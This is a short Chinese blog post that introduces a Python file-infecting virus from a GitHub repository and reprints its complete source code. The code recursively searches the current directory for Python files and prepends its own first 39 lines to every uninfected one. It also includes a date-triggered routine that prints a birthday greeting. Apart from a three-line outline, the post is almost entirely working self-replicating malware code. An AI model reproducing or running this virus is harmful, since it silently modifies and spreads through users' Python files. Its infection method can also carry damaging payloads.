zoukankan      html  css  js  c++  java
  • python病毒

    介绍

    今天碰到一个有趣的python病毒,在这里https://github.com/cranklin/Python-Virus/blob/master/pythonvirus.py#L37

    源码

    分为3个部分

    1、搜索,搜寻所有的python脚本

    2、取出当前文件的前39行,也就是这个脚本的长度,然后将这个脚本写道所有找到的python脚本中去

    3、其他行为

    #!/usr/bin/python
    import os
    import datetime
    SIGNATURE = "CRANKLIN PYTHON VIRUS"
    def search(path):
        filestoinfect = []
        filelist = os.listdir(path)
        for fname in filelist:
            if os.path.isdir(path+"/"+fname):
                filestoinfect.extend(search(path+"/"+fname))
            elif fname[-3:] == ".py":
                infected = False
                for line in open(path+"/"+fname):
                    if SIGNATURE in line:
                        infected = True
                        break
                if infected == False:
                    filestoinfect.append(path+"/"+fname)
        return filestoinfect
    def infect(filestoinfect):
        virus = open(os.path.abspath(__file__))
        virusstring = ""
        for i,line in enumerate(virus):
            if i>=0 and i <39:
                virusstring += line
        virus.close
        for fname in filestoinfect:
            f = open(fname)
            temp = f.read()
            f.close()
            f = open(fname,"w")
            f.write(virusstring + temp)
            f.close()
    def bomb():
        if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
            print "HAPPY BIRTHDAY CRANKLIN!"
    filestoinfect = search(os.path.abspath(""))
    infect(filestoinfect)
    bomb()
    
  • 相关阅读:
    yum 下载安装包以及依赖包
    《将博客搬至CSDN》
    Lucene
    Solr
    LVS原理详解(3种工作模式及8种调度算法)
    正向代理与反向代理
    网关,网卡
    NAT地址转换
    Nginx学习总结
    网络_OSI模型_数据包传输
  • 原文地址:https://www.cnblogs.com/likaiming/p/11050806.html
Copyright © 2011-2022 走看看